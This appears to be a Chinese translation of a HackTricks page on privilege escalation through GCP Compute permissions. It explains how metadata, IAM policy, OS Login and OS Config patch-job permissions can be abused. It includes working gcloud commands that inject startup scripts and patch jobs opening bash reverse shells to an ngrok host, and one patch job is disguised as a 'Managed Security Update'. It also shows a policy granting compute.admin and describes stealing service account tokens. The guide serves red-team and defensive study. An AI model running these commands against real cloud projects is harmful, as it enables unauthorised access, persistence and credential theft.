GCP - 计算权限提升

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

计算

有关 GCP 中计算和 VPC(网络)的更多信息,请查看:

GCP - Compute Enum

Caution

请注意,要执行所有需要修改实例元数据的权限提升攻击(如添加新用户和 SSH 密钥),您需要对附加到实例的服务账户具有 actAs 权限,即使服务账户已经附加!

compute.projects.setCommonInstanceMetadata

凭借该权限,您可以修改一个实例元数据信息,并更改用户的授权密钥,或创建一个具有 sudo 权限的新用户。因此,您将能够通过 SSH 进入任何 VM 实例并窃取实例正在运行的 GCP 服务账户。
限制:

  • 请注意,默认情况下,在 VM 实例中运行的 GCP 服务账户具有非常有限的范围
  • 您需要能够联系 SSH 服务器以登录

有关如何利用此权限的更多信息,请查看:

GCP - Add Custom SSH Metadata

您还可以通过添加新的启动脚本并重启实例来执行此攻击:

gcloud compute instances add-metadata my-vm-instance \
--metadata startup-script='#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18347 0>&1 &'

gcloud compute instances reset my-vm-instance

compute.instances.setMetadata

此权限赋予与之前权限相同的特权,但仅针对特定实例,而不是整个项目。与前一部分相同的漏洞和限制适用

compute.instances.setIamPolicy

这种权限将允许您授予自己具有之前权限的角色,并通过滥用这些权限来提升特权。以下是将 roles/compute.admin 添加到服务账户的示例:

export SERVER_SERVICE_ACCOUNT=YOUR_SA
export INSTANCE=YOUR_INSTANCE
export ZONE=YOUR_INSTANCE_ZONE

cat <<EOF > policy.json
bindings:
- members:
- serviceAccount:$SERVER_SERVICE_ACCOUNT
role: roles/compute.admin
version: 1
EOF

gcloud compute instances set-iam-policy $INSTANCE policy.json --zone=$ZONE

compute.instances.osLogin

如果OSLogin在实例中启用,使用此权限您可以直接运行**gcloud compute ssh [INSTANCE]并连接到实例。您在实例内没有root权限**。

Tip

为了成功使用此权限登录到VM实例,您需要对附加到VM的SA拥有iam.serviceAccounts.actAs权限。

compute.instances.osAdminLogin

如果OSLogin在实例中启用,使用此权限您可以直接运行**gcloud compute ssh [INSTANCE]并连接到实例。您将在实例内拥有root权限**。

Tip

为了成功使用此权限登录到VM实例,您需要对附加到VM的SA拥有iam.serviceAccounts.actAs权限。

compute.instances.create,iam.serviceAccounts.actAs, compute.disks.create, compute.instances.create, compute.instances.setMetadata, compute.instances.setServiceAccount, compute.subnetworks.use, compute.subnetworks.useExternalIp

可以创建一个分配了服务账户的虚拟机并窃取该服务账户的令牌,通过访问元数据来提升权限。

此方法的利用脚本可以在这里找到。

osconfig.patchDeployments.create | osconfig.patchJobs.exec

如果您拥有**osconfig.patchDeployments.createosconfig.patchJobs.exec**权限,您可以创建一个补丁作业或部署。这将使您能够在环境中横向移动,并在项目内的所有计算实例上获得代码执行权限。

请注意,目前您不需要对附加到实例的SA拥有actAs权限

如果您想手动利用此功能,您需要创建一个补丁作业部署**。
要运行补丁作业:

cat > /tmp/patch-job.sh <<EOF
#!/bin/bash
bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/18442 0>&1
EOF

gsutil cp /tmp/patch-job.sh gs://readable-bucket-by-sa-in-instance/patch-job.sh

# Get the generation number
gsutil ls -a gs://readable-bucket-by-sa-in-instance

gcloud --project=$PROJECT_ID compute os-config patch-jobs execute \
--instance-filter-names=zones/us-central1-a/instances/<instance-name> \
--pre-patch-linux-executable=gs://readable-bucket-by-sa-in-instance/patch-job.sh#<generation-number> \
--reboot-config=never \
--display-name="Managed Security Update" \
--duration=300s

要部署补丁部署:

gcloud compute os-config patch-deployments create <name> ...

该工具 patchy 过去可以用于利用此错误配置(但现在无法使用)。

攻击者还可以利用此进行持久性攻击。

compute.machineImages.setIamPolicy

授予自己额外权限 以访问计算镜像。

compute.snapshots.setIamPolicy

授予自己额外权限 以访问磁盘快照。

compute.disks.setIamPolicy

授予自己额外权限 以访问磁盘。

绕过访问范围

通过此链接,您可以找到一些 尝试绕过访问范围的想法

GCP 计算实例中的本地权限提升

GCP - local privilege escalation ssh pivoting

参考

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks